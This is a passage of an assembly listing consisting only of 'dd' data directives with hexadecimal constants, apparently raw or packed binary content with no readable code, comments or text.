		dd 9492ABF7h, 0E3B29EBDh, 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh
		dd 0F66DB4EEh, 93BCE1B6h, 97B3ED72h, 0A601E800h, 323D94E7h
		dd 52DAFD83h, 131EE955h, 3C680000h, 0E9064E99h,	0FFF9E725h
		dd 4E9A3768h, 0E71BE906h, 1768FFF9h, 0E9064E9Bh, 0FFF9E711h
		dd 4E9C3468h, 0E707E906h, 0AE68FFF9h, 0E9064E9Ch, 0FFF9E6FDh
		dd 4E9D4068h, 0E6F3E906h, 0FF68FFF9h, 0E9064E9Dh, 0FFF9E6E9h
		dd 4E9EDD68h, 0E6DFE906h, 8E68FFF9h, 0E9064E9Fh, 0FFF9E6D5h
		dd 4EA0C368h, 0E6CBE906h, 0D368FFF9h, 0E9064EA1h, 0FFF9E6C1h
		dd 4EA35F68h, 0E6B7E906h, 0AB68FFF9h, 0E9064EA4h, 0FFF9E6ADh
		dd 4EA6A768h, 0E6A3E906h, 0B668FFF9h, 0E9064EA7h, 0FFF9E699h
		dd 0B8D8D75Eh, 214346ECh, 95F7D275h, 187879F9h,	83E1E08Ch
		dd 8F2B1360h, 2CB2EE8Ah, 0BA475331h, 2AC9C5A7h,	0FF964D2Fh
		dd 72C9E9AFh, 0B651F77Ch, 6CFBFE85h, 6A4455D0h,	7624332Eh
		dd 0F7CFDBAh, 0DCABC86Eh, 0AA0BF40h, 82EEE58Eh,	0DC4B112Ah
		dd 6C455B82h, 6CF38F7Ch, 0E2630071h, 447FC595h,	12B57C6Ch
		dd 8F2A4637h, 0C9A3FB88h, 8630DD12h, 2F7F16D9h,	7C6C4469h
		dd 0FC7F0877h, 5D0C380Dh, 0BD6676DCh, 67DBA929h, 2Fh, 0DC7EB9BCh
		dd 40647549h, 3B07C6Ch,	64ACAE88h, 53F464DEh, 0EF86F774h
		dd 77DFCA5Dh, 6CEC1B59h, 0C784367Ch, 0A9B73AE1h, 0F9E0DBh
		dd 803B0000h, 0B1BE830Bh, 0C56DF45Bh, 3CABAE55h, 0F8B00EA5h
		dd 0C47624D5h, 0D5ADEBBBh, 883B7624h, 713F3AF9h, 5CF273A6h
		dd 0A0A14D5Fh, 3422C1D3h, 0AA8D418Ch, 0B1EB2FABh, 0C3904730h
		dd 0BFDD2DA4h, 0B033413Eh, 3479D7B5h, 907624F2h, 0ECAC0213h
		dd 0F87624EAh, 46523EBFh, 87C9A6BDh, 37871EBCh,	7C6D1426h
		dd 0F7C7A5C2h, 93961DCCh, 0CD2B8312h, 0FE82B767h, 0ACCC785h
		dd 9D1A6B6Eh, 0C0DD00E8h, 67374E6Ah, 7626EE21h,	0D443C0AFh
		dd 0DFBDBC38h, 0A48A2AC6h, 9760702h, 0CA762288h, 0FB1148F7h
		dd 6827129Dh, 108DFAh, 3938B900h, 0A0A54F5Bh, 5433D4C0h
		dd 0D9D85834h, 4E43EFBBh, 88B00122h, 138FEDECh,	0A4F0908Dh
		dd 2E7A0619h, 71E28E85h, 0CC48005Eh, 32947C72h,	95E98051h
		dd 762432D3h, 10606101h, 605F263h, 0EF6CC95Ch, 82F3F67Dh
		dd 21CD4DE5h, 0AF544020h, 0B92BC8A8h, 7549DC7Eh, 7C6C4064h
		dd 2886F7B0h, 7C6C3F6Ch, 90B46BE7h, 0DBA9036Bh,	8FA83F8h
		dd 220DA23Eh, 0C7408Ch,	85DB0000h, 0FE8AFBFEh, 0B00E7F72h
		dd 762436EDh, 0F1AB5AD9h, 4A5B07DAh, 1538D399h,	0DC5B0C60h
		dd 0D1AEA14Ch, 28C453D0h, 89CF9F88h, 5776246Fh,	6703AB28h
		dd 81C7972Eh, 4F76246Fh, 650E8A20h, 84BF116Eh, 0EE7F4FC6h
		dd 3A7C6C99h, 84BF1F7Dh, 887F4FC6h, 3582B6E8h, 0BD9F777Ch
		dd 2B831F41h, 0DB75E08Fh, 4D2A5B5Eh, 109C30E5h,	0FCDDB8E5h
		dd 6DEA0EDAh, 1217930Fh, 9E2CF4ABh, 0AD5DD212h,	0F92h
		dd 5C3C33B2h, 0C5A7A240h, 492B36C9h, 0BCDCD55Dh, 274544E0h
		dd 0E38FB71Ch, 701682EEh, 1E9BF795h, 862D791Bh,	5B72E183h
		dd 72CD4503h, 5ACD937Ch, 54EBF985h, 4FFB29BDh, 2DAA801Ah
		dd 0B2DE5F5Ch, 3A465DE6h, 0FBFE8599h, 6D75FE8Ah, 5D54DCDAh
		dd 41CEAFDCh, 0F5D07723h, 484FF484h, 5CE77928h,	0CF7DF159h
		dd 0D74E0C37h, 6C42B687h, 22B5F27Ch, 4175338Bh,	1CA37C6Ch
		dd 9E347301h, 0E7791382h, 3F0654FAh, 5773F673h,	3336BD6Ch
		dd 31A42542h, 0AACD8E78h, 0EE440384h, 0CECA5727h, 0ED666E2Eh
		dd 0E5A7A491h, 966E7BDh, 47DE7C47h, 463712B5h, 6D049139h
		dd 0E042D434h
		dd 0CA27E22h, 0F9CC664Eh, 62F5B273h, 422E25CEh,	492F5E53h
		dd 0D2161245h, 10179C7Ch, 0DF33E8ADh, 0B121DE20h, 0EB2h
		dd 7C1C1392h, 0E5878220h, 690B16A9h, 0DCBCB53Dh, 472524C0h
		dd 0C36F573Ch, 50F6A2CEh, 0FE7B1775h, 660D99FBh, 3B520163h
		dd 72CE2563h, 7A2DB37Ch, 8AFBFE85h, 0C453F9C2h,	6C4F87EAh
		dd 0EB97E37Ch, 0A30B6916h, 0B63F298h, 82B461C2h, 720E99E6h
		dd 0CF89E5F6h, 1D762440h, 7641592h, 0F2B200AFh,	26762440h
		dd 9BE9869Dh, 0EA6B1805h, 8962BB60h, 0DAD46A06h, 73DB585Fh
		dd 79A28279h, 0EADDE100h, 0A7D4AB56h, 0AD2A2FD5h, 3524643Ah
		dd 0F7B07624h, 37FF5Fh,	0B9240000h, 1F5E287Eh, 76B8769Ah
		dd 0C4005EC9h, 107C6D60h, 0C16C0097h, 59F3A2CEh, 5A78DEDBh
		dd 7C6CC41Ch, 6454A74Ch, 0CA6890A8h, 0D99FB78h,	62106160h
		dd 0DE6h, 0DC7EB9E1h, 0CA637549h, 0F6B17C72h, 2326CD5Fh
		dd 0BDAE5541h, 72C9A7E1h, 0CD4A357Ch, 25E7D0BCh, 602DDCB2h
		dd 0FEB982C1h, 2B2ED567h, 0D3D65D49h, 77C4F44h,	0B66536B8h
		dd 23D9320h, 54F1CD58h,	0A07C6C96h, 0B30378C7h,	7A350C58h
		dd 0D95CCh, 3130B100h, 0B8BD4753h, 2C3BCCD8h, 0D1D0504Ch
		dd 465BE7B3h, 80B8193Ah, 0B87E5E4h, 9C086875h, 26721E11h
		dd 69FA869Dh, 0CF407856h, 3A8C7C72h, 32FD4769h,	2C177624h
		dd 7C8B389Ah, 9D1A3ACAh, 268DB40Ah, 5E597C73h, 8B8E35C7h
		dd 4D21B8E9h, 7C72FE0Bh, 9878DED9h, 216F1C1Bh, 4AE17416h
		dd 0E161D351h, 248A883Ah, 0BA5FCBB6h, 0E5582782h, 129AA98Ch
		dd 1B55C5BAh, 2B00000Dh, 0B9D5B78Ah, 46523E3Bh,	0CAC6A2A1h
		dd 5935572Ah, 97BCDCDDh, 677A063Eh, 0EAF78905h,	9097128Eh
		dd 181FA4F0h, 0FAD4EB78h, 7C72CEBEh, 85D3B40Ah,	0FE8AFBFEh
		dd 8017E75h, 44BFE956h,	9EDDE112h, 6E8h, 0D8D965F7h, 4364CAABh
		dd 49DC7EB9h, 46370AB7h, 0AA049139h, 7C72C994h,	25BC2B54h
		dd 44EAEF8Bh, 48282FD4h, 0B1062059h, 0F032F032h, 3E35BE5Ah
		dd 97B3F141h, 0E2DD7C72h, 70D1AD38h, 0FC82BAB4h, 3C1B0CB3h
		dd 621D129Ah, 0C89F4h, 253CC500h, 0ACA94B47h, 504FD0CCh
		dd 0C5DC6430h, 4A4FEBA7h, 94AC052Eh, 1F8BE9E8h,	0A0FC9C89h
		dd 2A660205h, 75EE8A89h, 0D04C0C62h, 0C6987C72h, 0FBFE855Dh
		dd 7E75FE8Ah, 0D4AD55E7h, 79C73BA3h, 0FD55D793h, 27BED9FEh
		dd 24F31157h, 7AD0DF76h, 0B8549B40h, 214E3F3Ah,	0D20EF589h
		dd 39D4DDE1h, 4F000006h, 2432FD47h, 6E2C1776h, 0C9C7A7F7h
		dd 48E47C72h, 0DBD8A9A8h, 502E4773h, 7C72C918h,	724CDBA4h
		dd 7C72C936h, 0F164E582h, 5D69215Ah, 0AC6D1C8Fh, 0EAE98A06h
		dd 9291128Eh, 0CA90ABE5h, 7B1E035Bh, 0D94A82BAh, 5FF2D9C6h
		dd 0FEED723Bh, 0E263E081h, 9A5AC25Bh, 8B3BF412h, 0BCAh
		dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h,	6F0D0CA8h
		dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
		dd 72D00D4Bh, 8205DB7Ch, 8AFBFE85h, 5CE86FBh, 906E50EAh
		dd 10616000h, 0D45F3B93h, 0DFAF46D1h, 76245C99h, 0C5F25827h
		dd 78090CB7h, 0FA8B9628h, 8C992FBDh, 493684FFh,	0A53C5BB0h
		dd 245C8FC9h, 0FC525D76h, 0F02B1DC2h, 2ADDE138h, 564h
		dd 4F4AE983h, 0CED9713Eh, 1E287EB9h, 57785AB3h,	25CCB48h
		dd 7C730A41h, 970E69h, 7308EAAEh, 2189F67Ch, 5C5BD874h
		dd 0C4C3603Ch, 0B749E0B7h, 2167370Ah, 0AF7C7309h, 286C6AC0h
		dd 607C7309h, 6922B557h, 0EDEFECC9h, 0BE57FF15h, 0BAD181E0h
		dd 0CE740882h, 55FDBACBh, 70E35A25h, 56129A18h,	0AEC29D9h
		dd 0D9580000h, 44EEBAC6h, 0D0772341h, 7BFB97F5h, 0E28E1A66h
		dd 11668DEFh, 0EC8C8D29h, 51332EB0h, 0DBB9B845h, 432124CFh
		dd 0E7A1FD90h, 0F57C72D0h, 0FE85B053h, 75FE8AFBh, 0AF55E77Eh
		dd 76DCDDAAh, 219E5079h, 0E1121C07h, 4B2C6DDh, 805D0000h
		dd 0D4B157E9h, 0D088C6A7h, 1C762432h, 0DC9D3B93h, 34762432h
		dd 0F8D6410Bh, 7C72C998h, 473CABD4h, 4E8EC86Ah,	5D389E14h
		dd 472520C3h, 0DCADA84Bh, 9205C7F0h, 0B83D86FBh, 0F232F27Bh
		dd 0ADDB7E5Ch, 2EC282BAh, 11149F83h, 0F5820360h, 8979C3B4h
		dd 2310A1BFh, 3D80EF8Bh, 129A2F0Ch, 3BC5752Ah, 0B00000Ah
		dd 99F5976Ah, 26721E1Bh, 0AAE68281h, 3955370Ah,	0B7DCBCBDh
		dd 475AE6DEh, 0CAD76925h, 7077F2AEh, 0F8FF8410h, 0DAB4CB98h
		dd 7C72D19Eh, 85F3942Ah, 4A4DE8FEh, 47ECBCCDh, 0B83BD540h
		dd 6615BDh, 882BF1AEh, 0D44FEF8Dh, 0EDDE10Eh, 14Dh, 41EC8095h
		dd 0E070314Eh, 74354245h, 0B2B132DEh, 90CB7C5h,	9238036Bh
		dd 52D06C03h, 0AA4A2657h, 0D28056D7h, 7C6C452Bh, 3383F0BFh
		dd 7C6C4471h, 97B16ED8h, 0DBA9006Ch, 3BB6h, 36881F00h
		dd 7C6C4C72h, 0E99317Eh, 49DC7EB9h, 6C406475h, 86F7B07Ch
		dd 6C3F6C28h, 1C1B987Ch, 92971D6Fh, 16EB97E5h, 0FD7D1899h
		dd 0AA24C90Eh, 328D3F5h, 0B7F2DBA9h, 29000000h,	0D395E980h
		dd 0E1762432h, 68E9E895h, 0D6AD56C2h, 0E1BAD3Fh, 0FD790BA8h
		dd 32D494EAh, 73E07624h, 71773D41h, 75F2734Ah, 49DF7104h
		dd 0DDAAA74Fh, 1BF75FDCh, 9CEC9D98h, 0E6701017h, 7624AAA7h
		dd 0B22520C3h, 0F434C0F9h, 1FB78135h, 4A102B83h, 0EB9283DBh
		dd 0B9C67C6Eh, 1316922Eh, 98992571h, 56001A25h,	0C3732C0Ch
		dd 906h, 0C0A0BF46h, 492B2ED4h,	0BDDFCA5Dh, 204041E1h
		dd 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h, 32B1ED8Fh
		dd 0E7FE5537h, 72D2D197h, 0DE491F7Ch, 6DF8F985h, 0E13BDDD6h
		dd 0C6380679h, 2492D088h, 3B931C76h, 7570F3AFh,	0FE858C17h
		dd 54D06CFBh, 0EF472455h, 401EB5C0h, 76243308h,	9703ABD4h
		dd 0FD8BE9ECh, 2B0h, 0DC7EB95Ah, 941EB249h, 94E5E082h
		dd 92C09617h, 7C6C59B7h, 0DB489003h, 9DEAEF8Bh,	0A5126B1Ch
		dd 2EC255D2h, 0B1FE8F82h, 88CC9A19h, 0C37C6D25h, 0EB85A817h
		dd 7F3C4D48h, 0FD5CC7D7h, 3DCFDBA9h, 0AECFBCB5h, 247C408h
		dd 475F0000h, 76243304h, 0F2652710h, 72C9BA9Ch,	7A54EB7Ch
		dd 7C72C93Eh, 3545ED8Ah, 6A44DB4Ah, 7C72C92Eh, 0C36FFDBAh
		dd 5AF0B1CEh, 878221BBh, 63257910h, 717C72C8h, 9400A036h
		dd 99491CEFh, 0EA0BE76Fh, 4CCD4A49h, 0A466513Fh, 0D4BC5D31h
		dd 6F0882BAh, 9A1D25D0h, 0FE6C2312h, 7F6h, 0B0D0AF56h
		dd 395B5EE4h, 0ADCFDA6Dh, 107071F1h, 9BF9F884h,	87231B78h
		dd 14AAE682h, 0B23F6B09h, 22C1DDBFh, 0F78E4527h, 72D3E1A7h
		dd 0CE59EF7Ch, 6CFBFE85h, 22534ED0h, 0B2CEED45h, 37453231h
		dd 0A9FB888Dh, 267C0D0Ch, 0C85E9754h, 40E309F6h, 6C972745h
		dd 0B6DDE10Eh, 18Dh, 46EC80EDh,	0A7D4D350h, 21F159C6h
		dd 9B108782h, 0DC8BFD6Dh, 2946ECCBh, 0BFDDD85Bh, 8935E4DFh
		dd 59C0B88h, 6694738Ch,	90B6C3DEh, 0DCFA50C8h, 7C6D1431h
		dd 3F2ABC50h, 99C1B97h,	85F2CF77h, 56214EE4h, 0FA9EFBFh
		dd 48377C6Dh, 0FB0F4E2h, 2F9B7C6Dh, 9313AD70h, 7FA4389Eh
		dd 0A5DBA9CFh, 4Ch, 0DC7EB9FEh,	1A0CB749h, 8AEB989Fh, 9B2C7C0Dh
		dd 31BEFF8Ch, 17A2FC99h, 0C37C6C40h, 2B9D0D50h,	1B98E348h
		dd 0E798DC6Ah, 20CC7C6Ch, 0E8216737h, 0C0AF7C6Ch, 0DC663243h
		dd 0A72BA8D9h, 1CCE23F8h, 0BB8279AFh, 0C158DBA9h, 0C3000000h
		dd 8AFBFE85h, 0E7F72FEh, 495FE577h, 882EAFAAh
		dd 0F57F6B08h, 760273F0h, 0CD5FF6CDh, 55522326h, 4A73EDFDh
		dd 7E762485h, 0D296E8F5h, 1E762484h, 6E630391h,	102B83E1h
		dd 0A844DB4Ah, 5431B0Ch, 0D3762485h, 0D22257D4h, 9FA4E6CAh
		dd 55C08E24h, 817C6FCCh, 41D86FE6h, 6E8C2B6Dh, 5BEDB97Ch
		dd 0A969C14Eh, 356C0C0Dh, 69061B9Bh, 4AF6A208h,	44C5DC64h
		dd 565D32F9h, 1B8B040Ch, 66Ah, 24445BDAh, 0ADCFCA68h, 11736EF1h
		dd 84E4FD85h, 0F6D6C08h, 0BB78FE4h, 0A83E6A36h,	26C3DFBDh
		dd 0AE554123h, 831AC9ABh, 72D56D2Bh, 22E57B7Ch,	6DF8F985h
		dd 245550D3h, 0C7D3EF47h, 0B85B393Ch, 8AFBFE85h, 0E77E75FEh
		dd 333A7E50h, 0EA867624h, 7D3A4B4Eh, 0BC4A56FCh, 20h, 0FBFE851Bh
		dd 7E75FE8Ah, 14AB2A01h, 2432FEBAh, 5ADCA76h, 0A74C944Bh
		dd 2936C0A0h, 0AD000000h, 8AFBFE85h, 0C0C161FBh, 33296C6Ah
		dd 0D34A7624h, 3326623Ch, 0F5B27624h, 334C0C62h, 1F987624h
		dd 924605B7h, 0ED761211h, 4DE8FE85h, 5ADBC659h,	32B5F3CBh
		dd 64037624h, 0FDC696E7h, 0E2F6C85Fh, 0E7C72C9h, 0C85FF661h
		dd 315503D3h, 0C191424Fh, 7C728887h, 889ADEB0h,	59267C72h
		dd 0D0D55F2Bh, 941FFB53h, 1CA7F391h, 1B246819h,	0BD4FE671h
		dd 0E47AC736h, 3EC6AEBEh, 104826B1h, 0DC7C7304h, 0AC5D7BD3h
		dd 3882C19Ah, 0AF54E87Fh, 42D9C8A8h, 247A2C6Ch,	0DFDA5876h
		dd 0BEFAD4ADh, 0A762479h, 0CA46EC6Dh, 26623C29h, 0B276247Ah
		dd 700774F5h, 79C385D9h, 96117624h, 89536CC0h, 0AAA5401Eh
		dd 36717C6Ch, 583F6AB7h, 33A35C0Ch, 51Eh, 0E888872Eh, 513336BCh
		dd 0C5A7A245h, 482829C9h, 0B3D1D05Ch, 7FFBC390h, 0FC821E7Ah
		dd 6A1783E1h, 1A99F597h, 0CFE67D1Fh, 72D6B9FFh,	0E6A1077Ch
		dd 6CFBFE85h, 0BDB83BD5h, 0B9FFAFCCh, 7762432h,	0DFB6D278h
		dd 33327648h, 0F1BE7624h, 3F3AB959h, 0B2B1324Eh, 0EFEA8923h
		dd 18522847h, 0FFFA79A3h, 116D049Dh, 76243257h,	18B41A65h
		dd 0DDE10EE3h, 0C385D970h, 1176243Eh, 731CC096h, 75000000h
		dd 0D8F89C3Ch, 70C6FD06h, 0CA7EB957h, 2432B4F4h, 405FE076h
		dd 5FF67730h, 5E2F3ACDh, 0B0E8C651h, 3C762432h,	643ADB73h
		dd 7C6C81A0h, 40DC4B34h, 0CFC6A2A5h, 0A50C8FDAh, 512D4DA9h
		dd 7C6C7D17h, 0F55DDAA5h, 6C7C9FE7h, 392AC97Ch,	6C7D2365h
		dd 49F6B17Ch, 10017A2Bh, 0FE6624D0h, 0A540D066h, 3725D5A2h
		dd 50000004h, 433037BCh, 34B5B431h, 0FE85059Eh,	0C84948E8h
		dd 5C4AE9BBh, 2120C0D6h, 55D2D3A0h, 0F7C75E37h,	762432B1h
		dd 2DA703Fh, 68049339h,	0AE67CFCAh, 6C452DD0h, 20AB97Ch
		dd 0B5233627h, 875724A5h, 7C6D15BDh, 4365DA94h,	0DBA9F1D8h
		dd 2502h, 7EB99900h, 647549DCh,	0B07C6C40h, 5DEF86F7h
		dd 5D7BD3D6h, 7C6C4017h, 0EDDB8032h, 0DBA90336h, 0D8ECh
		dd 0B803700h, 0E0A8D38Ch, 0CE4AE05Ch, 1981DA25h, 0EDAEDBB7h
		dd 8CFDE87Fh, 65F76EEFh, 4473DBDEh, 1E898834h, 4AE0E782h
		dd 0D1D45F2Dh, 5453D0A0h, 14542AC1h, 4576251Ch,	251C2F69h
		dd 86F2BD76h, 0A73151F9h, 76251FD6h, 0C16171F2h, 75F2B3C0h
		dd 0FDF87B17h, 0C62F98Ch, 76251D4Ch, 1C67217Dh,	0A757625h
		dd 0C599317Eh, 0E9C550FAh, 7C6D4CA4h, 0EDE88B25h, 3BB71F9Ch
		dd 0B157E97Ch, 70C6A7D4h, 9D3F7850h, 9CBBB40Ah,	600F82B7h
		dd 0DADF5BF5h, 4346E2BEh, 9E551BFCh, 0F4621D12h, 322h
		dd 0EC8C8322h, 553732B0h, 0D9BBA639h, 4C2C25CDh, 0B7D5D450h
		dd 73FFC7ACh, 0E086127Eh, 6E0B87E5h, 169D096Bh,	0CBE27113h
		dd 72D8B5F3h, 0EABD037Ch, 98F8F985h, 60670Ch, 0DC7EB963h
		dd 40647549h, 0BB557C6Ch, 0E4943A3Fh, 0EF700C9Bh, 8D5D5AF0h
		dd 7C6C3FC7h, 0F7C75FDh, 8EFFEA7Dh, 0C47F72F2h,	1FF009F6h
		dd 53C8FCA3h, 0C0DBA903h, 2981802Ch, 10025h, 0FE857E00h
		dd 72FE8AFBh, 0EDB00E7Fh, 0D9762436h, 3375495Ah, 81762436h
		dd 8F1B79E6h, 3C90E1E4h, 0F0CE5903h, 7C6C65ADh,	0F6E4801Ch
		dd 86F7744Bh, 0B22151F9h, 87B5CA7Fh, 0B8D85954h, 0CFD1E7D0h
		dd 6F620206h, 0F8E4911Eh, 0DC4BC881h, 0BA3BE40h, 0DC59F38Ah
		dd 0AAA74FDDh, 5876DCDDh, 82B6EA88h, 0E1E48F21h, 607F0090h
		dd 0BD159213h, 4CE3723Dh, 0E99FD9B5h, 0B62D7626h, 7C42AA36h
		dd 67CF4CA2h, 6E0A0FABh, 0C9A5B632h, 7627278Fh,	6AD5525Dh
		dd 129DC1A3h, 136C1A95h, 33000002h, 0C1DDBFB2h,	4E5A2623h
		dd 0D2CEAAB9h, 613D5F52h, 9FA4C4C5h, 6F620E36h,	120F910Dh
		dd 989F1A76h, 7ACF8h, 82DCF360h, 7C72D9C6h, 85DB4C12h
		dd 72010CF9h, 8F334737h, 2497793Fh, 0BB384776h,	7D14AB3Ah
		dd 24976721h, 5C0A7576h, 7624981Ch, 5B67CFA8h, 9955A44Fh
		dd 0FA80DFF9h, 0A4D5D053h, 0BBD946C7h, 0FBFE8518h, 0CC86FB8Ah
		dd 0D647E86Bh, 0C2613199h, 0EA3EA33h, 0B13E4EAEh, 393CC7D3h
		dd 913B0448h, 55DD6F06h, 45D8F65Ch, 817C6CA4h, 7EFB89E6h
		dd 0F67E0A7Bh, 410D8AFBh, 0B022459Ah, 878221CBh, 0F3AA95E5h
		dd 66077471h, 40D76EF9h, 6C942A6Eh, 61C9B67Ch, 0B4998673h
		dd 8423782h, 30F62CFBh,	0BAE97E02h, 77F4ECF4h, 364742E5h
		dd 0C5D1E149h, 0D6A7243Dh, 6B0ECABFh, 0E2B3E22Ah, 2027CC4Ch
		dd 0A4A54153h, 3839C5D7h, 0E55A104Bh, 1724643Ah, 0F7B07625h
		dd 10CF8376h, 0B1AC33CDh, 0B30BA3C0h, 7B53C288h, 7C6D1C8Eh
		dd 0E3BFDDDAh, 64344540h, 0DBA9C6D9h, 0AAB94E58h, 2E5FDCDDh
		dd 0EE3FCAB5h, 0DB495E77h, 0AAA94A44h, 33BF5C2Dh, 62D0B74Ch
		dd 0C9CC77BDh, 2027C25Eh, 30670457h, 2F87E845h,	5A003B93h
		dd 0B5AF3CBh, 0C1AE82B5h, 4443E0B0h, 7D229037h,	7BEAB08Bh
		dd 32435EE1h, 6638DD75h, 7C6CF3C7h, 0B4046403h,	0BF56C18Bh
		dd 6CE2A9EFh, 282DD77Ch, 412E5A5Bh, 4E522CE9h, 9A82BB7Ah
		dd 82196C1Dh, 2A596C2Ch, 973F7876h, 1F7D78FBh, 0D99FEF86h
		dd 0E7762A59h, 0DD663298h, 30BD4FC6h, 0FE8F8222h, 1D9A30B1h
		dd 0AB4118Ah, 526492C0h, 90263DC6h, 46D59FC2h, 0AEE3F2C9h
		dd 15A46C90h, 0BE45D72Fh, 5ADCABBh, 0A74C944Bh,	3FD1C0A0h
		dd 0AFCCBDA8h, 0EDE88B07h, 6D640C9Ch, 0E1E08C1Ch, 61600090h
		dd 65019310h, 3D8F1764h, 1D189A4Eh, 8279F99Ch, 0B2DED55Eh
		dd 29465DE6h, 0DB9h, 0D350EC00h, 572421C7h, 6601A956h
		dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
		dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 68B9BFCCh
		dd 3BCh, 51241489h, 0C181E189h,	4, 4E981h, 0C870000h, 1C895C24h
		dd 61166824h, 4890000h,	0DBBE5624h, 89064E97h, 24348BF3h
		dd 5404C483h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 8B9240Ch
		dd 1000000h, 591989C1h,	582434FFh, 4C481h, 1C8B0000h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 0D413E95Ch, 0D6B0FFF9h
		dd 4EA9EEB8h, 0FFC50306h, 6C9142E0h, 4A78C711h,	8387A96Ch
		dd 0E924B002h, 77004961h, 918AFE76h, 16542753h,	709DD328h
		dd 0D582504Bh, 25F5DC20h, 0BF4C015Ah, 0E8E27E71h, 862AD94Fh
		dd 0C6E0C407h, 0FCD4D106h, 442B2752h, 0ACC28C4Bh, 5E144927h
		dd 646327Fh, 7C911E25h,	9772A137h, 492EE44h, 9D86C535h
		dd 59543C77h, 9E0B6602h, 7BAC0702h, 0A7D83661h,	8D415A35h
		dd 25E2E553h, 0CE83Fh, 6F910000h, 0FEDA4090h, 0AFE35BB2h
		dd 8B668B4Ah, 0C7815FC8h, 60B9h, 74AF4FBBh, 49EB8168h
		dd 81687497h, 0E7CF5DD6h, 0E9178B50h, 8, 1276D73Fh, 0A6FBFD41h
		dd 0E71FC281h, 0C68127EDh, 6DD2D28Dh, 335F281h,	0BF0F0E66h
		dd 2BC281C7h, 8A166B93h, 0BF0F52CAh, 0F078FC1h,	0EF83C3B7h
		dd 0B70F5201h, 4F4F5EF7h, 81CE8B4Fh, 1EBh, 1C850F00h, 0F000000h
		dd 185h, 24E9F500h, 45000000h, 382275A5h, 4962CCBh, 0D33FCF03h
		dd 0E970FEA8h, 0FFFFFF91h, 1B086468h, 57171CB8h, 0D452E3D0h
		dd 0E84B18DEh, 0Eh, 69EA73F4h, 0E21CF5E4h, 0F1E7164Fh
		dd 8B66E874h, 81665BCFh, 81D722EFh, 6299C3h, 168D0F00h
		dd 50000000h, 0EE8h, 44870600h,	0CE52AC5h, 0B5BF8375h
		dd 5994E19Dh, 8BF62B59h, 0E4803314h, 0C4C2815Bh, 6613A7DBh
		dd 8EF4C781h, 0E5E0EA81h, 81F87C77h, 0A8558CC2h, 0CE8B6655h
		dd 0B8331489h, 24C48C73h, 334FC981h, 0EE8329F2h, 4860F04h
		dd 51000000h, 8159C88Ah, 0FF9E14FEh, 22850FFFh,	0E9000000h
		dd 0Bh,	22893575h, 8A7F644h, 0E959A864h, 19h, 89C0D317h
		dd 0CE1A36C7h, 453465DDh, 0E9C68B68h, 0FFFFFF8Fh, 6DCC12E3h
		dd 8EB80h, 0FD000000h, 0E90663B0h, 4A9h, 4EAD8F68h, 0D21BE906h
		dd 568FFF9h, 0E9064EAEh, 0FFF9D211h, 4EAF4068h,	0D207E906h
		dd 49E8FFF9h, 0F47E2A76h, 600793F1h, 0EB8B0765h, 921E8A16h
		dd 81D6FD9Fh, 5C3C3DB9h, 0C1A3BE40h, 4B2928D5h,	0B3D1D45Fh
		dd 77318D20h, 457C72DEh, 0F98520E3h, 65FC8BF8h,	24334F09h
		dd 0FCF57D76h, 1592EE8Fh, 5356DDBDh, 0BC5E5931h, 0EE917029h
		dd 3BF8A9A7h, 0A5AC0293h, 0A47C6CDAh, 0C9F7B10Dh, 0BAC57C6Ch
		dd 6A1B6414h, 6CC998DCh, 5807B37Ch, 0A999B76Ch,	2F86DDBh
		dd 0AD440000h, 6CCD97D1h, 2F6F227Ch, 81543F85h,	851EB4F3h
		dd 655E76D9h, 0B73413B4h, 0ECFB8C20h, 62670D9Fh, 0BF179415h
		dd 0D6A83FD6h, 76243292h, 4C3C33BEh, 9EDAB423h,	2A762432h
		dd 0A6F7E54Dh, 0C27C6C42h, 0C39B32A5h, 7C6C4185h, 39C45453h
		dd 0E6709026h, 79D1A817h, 7F16B48Fh, 99AA3A2Fh,	4ED9A677h
		dd 0A4E20B7h, 0D673899Ah, 99BFF9A9h, 620D7389h,	44D8AFCCh
		dd 0BB13BBBEh, 0B44BDA80h, 89999EDAh, 0DF4D2A73h, 21F45A57h
		dd 0D1D2C14Dh, 58EE8279h, 0AAD5E54Dh, 702A13Bh,	8F8A2965h
		dd 732D5F30h, 38B66917h, 2CAh, 0F4946B0Ah, 7D1F1A98h, 0E1839E21h
		dd 54340DB5h, 0DFBDBC38h, 5BE7DFB4h, 0D86E3A46h, 76F3AFCDh
		dd 0FE851173h, 0B3CA99FBh, 72DF9DDBh, 0F2952B7Ch, 49DC7EB9h
		dd 72DF7175h, 2DB8C77Ch, 0E9AFFF96h, 0F77C72DEh, 0CA762288h
		dd 65FC95F7h, 72DF4F09h, 63019D7Ch, 0EB680966h,	452BD743h
		dd 0A9D6A7A2h, 0C88B5B28h, 7C72DEh, 7CD96463h, 4A18EF39h
		dd 25425D5h, 0E1800000h, 6C1682EEh, 89F0B69h, 83237F1Dh
		dd 0AB6E28Eh, 694E5537h, 0B4D4D551h, 395B46D8h,	0A3C1C06Dh
		dd 2B494CF7h, 0F4925B8h, 0DD7C72E1h, 7EB9980Bh,	717549DCh
		dd 0C77C72DFh, 397BCBB8h, 107C72DFh, 0D088E67Dh, 0FC7C72DEh
		dd 65027376h, 88C26817h, 0BE0EF5D3h, 7BD4DBAFh,	4F000001h
		dd 5F5BEC80h, 0C2A3D0D5h, 0DF773445h, 0C4B5B033h, 9D080FB4h
		dd 53FB25E4h, 0D6E716h,	7B2F0860h, 24E36523h, 0B7347376h
		dd 0F69F4E20h, 12AE7C6Ch, 0BE3A9097h, 0BCF580F1h, 4F718543h
		dd 9B3991C4h, 7C6D06D9h, 2F19C670h, 0DBA9C6F4h,	2F2Eh
		dd 7EB97500h, 0BB749DCh, 92387936h, 401EAB03h, 0BBCA7C6Ch
		dd 6C3FA5E3h, 0F774337Ch, 3F6C2886h, 6BE77C6Ch,	36B90B4h
		dd 97B1DBA9h, 0EA000000h, 2D0FFE85h, 35F14B89h,	94CF89E5h
		dd 921D7624h, 90E79415h, 0C496B01Bh, 74DAB20Ah,	681918A4h
		dd 0EF9C9B18h, 6000169Dh, 7376F361h, 6DFF96F2h,	0F1BECFDAh
